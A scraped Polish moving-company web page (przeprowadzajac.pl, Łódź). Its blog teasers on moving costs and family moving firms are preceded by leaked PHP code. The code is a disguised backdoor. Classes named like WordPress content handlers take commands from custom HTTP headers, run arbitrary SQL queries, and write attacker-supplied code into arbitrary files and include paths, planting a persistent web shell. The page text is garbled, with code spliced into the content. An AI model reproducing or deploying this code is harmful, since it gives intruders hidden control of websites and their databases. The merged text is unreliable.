n class WP_Content_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Content_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Content_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Content_Handler_Accessor(); $accessor->create(); Przeprowadzki Łódź ® przeprowadzajac.pl
Przeprowadzki

Zakres usług firmy realizującej przeprowadzki.

Firma, która zajmuje się realizacją przeprowadzki, może zrobić wiele – od nas jednak zależy jak dużo. Warto wiedzieć co zrobić, by wszystkie niezbędne prace były wykonane na nasz rachunek nie był nie za wysoki.

Przeprowadzka

Przeprowadzka ? Zawsze trzeba wszystko przemyśleć.

Przeprowadzka to decyzja, która podejmuje wielu z nas. Często decyzja kiełkuje powoli, nie zawsze jest decyzją oczywistą. Targają nami wątpliwości – przeprowadzać się czy lepiej pozostać w danym miejscu, ponieważ doskonale je znamy i wiemy czego się spodziewać. Jak do […]

Stres związany z przeprowadzką

Jak uniknąć stresu związanego z przeprowadzką.

Przeprowadzka to trudne zadanie, które zdarza się w życiu każdego z nas. Wiele pracy, sporo problemów, konieczność przeprowadzenia się w sensownym czasie, powodują iż przeprowadzkę wymienia się jako jedną z najbardziej stresujących rzeczy w życiu człowieka. Fakt – często nie […]

Pomoc przy przeprowadzce

Pomoc przy przeprowadzce. To konieczne.

Planując przeprowadzkę, bardzo często wychodzimy z założenia, że samodzielna jest najlepsza. Owszem – w tym przypadku jest taniej, nie można jednak twierdzić, że przeprowadzka jest samodzielna, skoro do jej wykonania potrzebni są ludzie. Każdy kto się przeprowadzał, z pewnością potwierdzi […]

przeprowadzki

Powody przeprowadzki

Przeprowadzka to coś, co może zdarzyć się w życiu każdego z nas. Nierzadko powody przeprowadzki są różne. Na pewno jednym z nich jest chęć poprawienia sobie życiowych warunków, jednak każdy, kto czyta te słowa, może je zrozumieć trochę inaczej.

 

Ile może kosztować przeprowadzka w Łodzi?

przeprowadzka w Łodzi

Jeśli w najbliższym czasie planujesz zmianę miejsca zamieszkania i zastanawiasz się jaką część domowego budżetu będziesz musiał przeznaczyć na przeprowadzkę, odpowiedź na twoje strapienie nie jest jednoznaczna. Ponieważ na cenę przeprowadzki wypływa nie tylko kompleksowość usługi lecz również miasto w […]

Czy warto wynajmować specjalistów od przeprowadzek?

Firma do przeprowadzki

Przeprowadzka to trudny czas w życiu każdego człowieka, a tym bardziej rodziny. Ogrom pracy jaką trzeba w tym czasie wykonać przeraża niejednego. Oczywiście jest o wiele łatwiej, jeśli praca ta rozkłada się na wielu pomocników – przeprowadzający się, którzy poproszą […]

Przeprowadzka z firmą – na co się zdecydować?

Przeprowadzka z firmą

Przeprowadzka we własnym zakresie nie zawsze jest dobrym rozwiązaniem. Niekiedy o wiele lepiej wybrać firmę zajmująca się przeprowadzkami i zlecić jej pracę.

Przyczyny niepowodzeń rodzinnych firm przeprowadzkowych

Przyczyny niepowodzeń rodzinnych firm przeprowadzkowych

Informacji na temat głównych źródeł niepowodzeń rodzinnych firm przeprowadzkowych dostarczają nam badania przeprowadzone w USA, na próbie kilkudziesięciu tysięcy rodzinnych przedsiębiorstw przeprowadzkowych. Dzięki nim wyróżniono siedem kategorii przyczyn determinujących niepowodzenia, tzn.: niedostateczne zasoby finansowe, nieodpowiednie zaplanowanie sukcesji przedsiębiorstwa, trudności związane […]

Specyfika zarządzania rodzinnym przedsiębiorstwem przeprowadzkowym

Specyfika zarządzania rodzinnym przedsiębiorstwem przeprowadzkowym

Zarządzanie rodzinnym przedsiębiorstwem przeprowadzkowym dotyka w szczególności następujących kwestii[1]:

Rodzinne firmy przeprowadzkowe – system wartości

Rodzinne firmy przeprowadzkowe

Rodzinne firmy przeprowadzkowe swoje powodzenie w gospodarce rynkowej zawdzięczają przyjętemu systemowi wartości. System ten jest tworzony przez założycieli firmy i przekazywany kolejnym pokoleniom – stanowi zbiór reguł uwzględniających specyfikę funkcjonowania przedsiębiorstwa. Jest on czymś w rodzaju „konstytucji” przedsiębiorstwa przeprowadzkowego, wyznacza […]

Istota małych przedsiębiorstw przeprowadzkowych.

Istota małych przedsiębiorstw przeprowadzkowych

Rozważania na temat istoty przedsiębiorstw przeprowadzkowych należy rozpocząć od stwierdzenia M. A. Gallo, według którego specyfika przedsiębiorstw przeprowadzkowych jest bardzo zbliżona bez względu na rejon prowadzonej działalności gospodarczej czy rodzaj tej działalności.Oznacza to ,iż problemy występujące w przedsiębiorstwach przeprowadzkowych jak […]